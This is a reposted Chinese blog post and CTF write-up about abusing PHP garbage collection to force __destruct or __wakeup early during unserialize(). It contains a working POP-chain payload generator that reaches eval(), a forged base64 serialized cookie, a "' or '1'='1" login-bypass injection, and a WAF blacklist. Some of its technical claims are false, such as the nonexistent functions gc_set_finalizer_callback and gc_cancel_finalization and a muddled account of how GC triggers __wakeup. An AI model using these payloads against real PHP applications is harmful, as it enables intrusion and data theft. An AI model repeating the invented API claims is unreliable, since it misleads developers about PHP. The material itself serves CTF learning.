GC时间窃取攻击

admin 2023年4月17日13:42:46评论17 views字数 7082阅读23分36秒阅读模式

关于GC的简单介绍

PHP Garbage Collection简称GC,中文翻译PHP垃圾回收,是PHP在5.3版本之后推出的专门针对垃圾回收的机制,在5.3版本之前,因为信息的重复使用导致的内存冗余一直很恶心,所以PHP推出了GC机制以对内存问题进行优化
具体原理请师傅们移步官方文档,在这里就不对赘述了
https://www.php.net/manual/zh/features.gc.collecting-cycles.php

先编写一段短代码演示一下GC的利用点

代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class YHQK{
public $Ihavegirlfriend;
public function __construct($Ihavegirlfriend)
{
$this->Ihavegirlfriend =$Ihavegirlfriend;
echo $this->Ihavegirlfriend."areyouxianmume"."</br>";
}
public function __destruct(){
echo $this->Ihavegirlfriend."nonono"."</br>";
}
}
new YHQK(1);
$a = new YHQK(2);
$b = new YHQK(3);
?>

结果如下

GC时间窃取攻击

可以看出来,进程一的开始和结束都在进程2和进程三之前
原因看最后的三行代码

new YHQK(1);
$a = new YHQK(2);
$b = new YHQK(3);

原理解释

进程2和进程三都有明确的指向变量,准确来说,是对象2和对象3都具有明确的变量指向
但是对象一并没有,对象一只是简单的被实例化,没有指向的变量
所以会被GC回收机制删除掉,导致提前触发destruct魔术方法

这里体现的是GC非常强的强制性,以至于他能控制php的魔术方法。
而众所周知,destruct这个魔术方法是几乎必然要被触发的
所以既然他可以强制这样一个魔法函数提前触发,是不是也可以强制他不被触发

阻断destruct

<?php

class YHQK {
public function __construct() {
echo "Object createdn";
}
public function __destruct() {
echo "Object destroyedn";
}
}
function gc_callback($obj) {
if ($obj instanceof YHQK) {
echo "GC callback: YHQK instance found, blocking __destructn";
gc_cancel_finalization($obj);
}
}
gc_enable();
gc_set_finalizer_callback('gc_callback');
$obj1 = new YHQK();
$obj2 = new YHQK();
$obj2 = null;
unset($obj1);

这里使用了gc_set_finalizer_callback函数来注册一个回调函数,当垃圾回收器发现一个待回收的对象时,就会调用这个回调函数。在回调函数中,如果检测到待回收的对象是MyClass类的实例,就会使用gc_cancel_finalization函数取消其析构函数的执行,从而达到阻止__destruct方法执行的效果。

简单题目练手

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
class ssz1{
public $bzh;
public function __destruct(){
echo "hello __destruct";
echo $this->bzh;
}
}
class ssz2{
public $bzh;
public function __toString()
{
echo "hello __toString";
$this->bzh->flag();
}
}

class ssz3{
public $bzh;
public function getyourgirlfriend()
{
echo "hello wowowo()";
eval($this->bzh);
}
}
$a=unserialize($_GET['cmd']);
throw new Exception("nonono");
?>

分析

throw new Exception("nonono");
这行代码的作用会阻断destruct的执行
而我们需要运行的pop链是
ssz1::destruct() --> ssz2::toString() --> ssz3::getyourgirlfriend()
这就导致我们从一开始就断了
但是,通过GC机制的不讲道理,我们可以直接引发destruct的执行

<?php

error_reporting(0);
class ssz1{
public $bzh;
public function __construct()
{
$this->bzh = new ssz2();
}

}
class ssz2{
public $bzh;
public function __construct()
{
$this->bzh = new ssz3();
}
}

class ssz3{
public $bzh = "phpinfo();";
}

$a = new ssz1();
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>

在这里,我们直接把ssz1直接架空,造成了GC机制的触发

然而受威胁的不只是destruct方法,还有wakeup方法

一般来说,GC回收机制不会直接触发对象的魔术方法,包括wakeup方法。这是因为,GC回收机制的主要目的是清除不再使用的内存空间,而不是执行对象的方法。

在PHP中,wakeup方法是一种特殊的魔术方法,用于在对象从序列化中被重新构建时进行初始化。当对象被序列化时,它的内部状态会被保存为字符串。当它被反序列化时,它的状态将被恢复,并且wakeup方法将被调用以重新初始化该对象。

由于GC回收机制不会直接触发对象的魔术方法,因此它也不会直接触发wakeup方法。但是,如果一个对象被回收并重新构建,例如在使用共享内存或者进程间通信时,那么它的wakeup方法可能会被调用。这是因为在这种情况下,对象的状态需要重新初始化,就像在反序列化时一样。

实战题目演练
以攻防世界warmup

题目给了三个php文件

conn.php

<?php
include 'flag.php';

class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}

public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}

public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}

public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}

public function waf(){
$blacklist = ["union", "join", "!", """, "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}

public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect ();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}

}
?>

index.php

<!doctype html>
<html>

<head>
<meta charset="utf-8">
<title>平平无奇的登陆界面</title>
</head>
<style type="text/css">
body {
margin: 0;
padding: 0;
font-family: sans-serif;
background: url("static/background.jpg");
/*背景图片自定义*/
background-size: cover;
}

.box {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
width: 400px;
padding: 40px;
background: rgba(0, 0, 0, .8);
box-sizing: border-box;
box-shadow: 0 15px 25px rgba(0, 0, 0, .5);
border-radius: 10px;
/*登录窗口边角圆滑*/
}

.box h2 {
margin: 0 0 30px;
padding: 0;
color: #fff;
text-align: center;
}

.box .inputBox {
position: relative;
}

.box .inputBox input {
width: 100%;
padding: 10px 0;
font-size: 16px;
color: #fff;
letter-spacing: 1px;
margin-bottom: 30px;
/*输入框设置*/
border: none;
border-bottom: 1px solid #fff;
outline: none;
background: transparent;
}

.box .inputBox label {
position: absolute;
top: 0;
left: 0;
padding: 10px 0;
font-size: 16px;
color: #fff;
pointer-events: none;
transition: .5s;
}

.box .inputBox input:focus~label,
.box .inputBox input:valid~label {
top: -18px;
left: 0;
color: #03a9f4;
font-size: 12px;
}

.box input[type="submit"] {
background: transparent;
border: none;
outline: none;
color: #fff;
background: #03a9f4;
padding: 10px 20px;
cursor: pointer;
border-radius: 5px;
}
</style>

<body>
<div class="box">
<h2>请登录</h2>
<form method="post" action="index.php">
<div class="inputBox">
<input type="text" name="username" required="">
<label>用户名</label>
</div>
<div class="inputBox">
<input type="password" name="password" required="">
<label>密码</label>
</div>
<input type="submit" name="" value="登录">
</form>
</div>
</body>

</html>

<?php
include 'conn.php';
include 'flag.php';


if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}


if(isset($_POST['username']) && isset($_POST['password'])){
$table = 'users';
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = new SQL();
$sql->connect();
$sql->table = $table;
$sql->username = $username;
$sql->password = $password;
$sql->check_login();
}


?>

ip.php

<?php
echo $_SERVER['REMOTE_ADDR'];

题目简析

GC时间窃取攻击

其实这个题目的本意并不是想要利用GC回收机制,只是确实是碰巧
这里对于GC的利用点在于绕过if判断语句对IP地址的检测,直接触发wakeup方法进行sql注入
但是不得不讲,他这里的sql注入真的水,waf了那么多东西,连个万能密码都能过不去

对于题目的代码就没什么好说的了,就是数据库为users,用户名是admin,就能过去
由于本篇文章主要讲解GC回收时间窃取攻击,就不多赘述了
POC

<?php
class SQL {
}
$sql = new SQL();
$sql->table = 'users';
$sql->username = 'admin';
$sql->password = "' or '1'='1";
$poc = array($sql,1);
echo base64_encode(str_replace('i:1','i:0',serialize($poc)));

在这里,由于sql语句中or的特性,导致传入的值其实是“'”
体现在序列化字符里就是i:1

GC时间窃取攻击

然后通过

str_replace('i:1','i:0',serialize($poc))

的一步替换,成功将password值置空,或者说是

"password":NULL

此时触发了GC回收机制,然而讲password回收之后
对SQL这个对象就需要重新初始化
这就导致wakeup魔术方法被优先于if判断IP地址的语句执行
最终的执行结果是这样的

GC时间窃取攻击

可以看到
我们没有进行IP的操作,也最终导致了报错
但是我们提前触发了wakeup方法
造成了flag的输出

总结

利用GC回收机制好象是一个很冷门的知识和攻击方法
我在CSDN上并没有找到相应的题目
关于GC时间窃取攻击的博客可以说基本没有
但是这个攻击方式最强大的地方在于他对魔术方法触发时机的控制
可能会导致很多意想不到的漏洞
在本题目中它可以直接导致对IP判断的失效
导致用户可以直接无视一些限制
所以开发者要秉持“不要相信任何用户输入的东西”

最后

最后还是希望师傅们多写一些关于GC时间窃取攻击的博客把
弟弟是真的在网上很难找到东西呜呜呜

来源先知社区的【Y.H.QingKong   师傅

注:如有侵权请联系删除

GC时间窃取攻击

 

如需进群进行技术交流,请扫该二维码


GC时间窃取攻击


原文始发于微信公众号(衡阳信安):GC时间窃取攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月17日13:42:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GC时间窃取攻击http://cn-sec.com/archives/1673974.html

发表评论

匿名网友 填写信息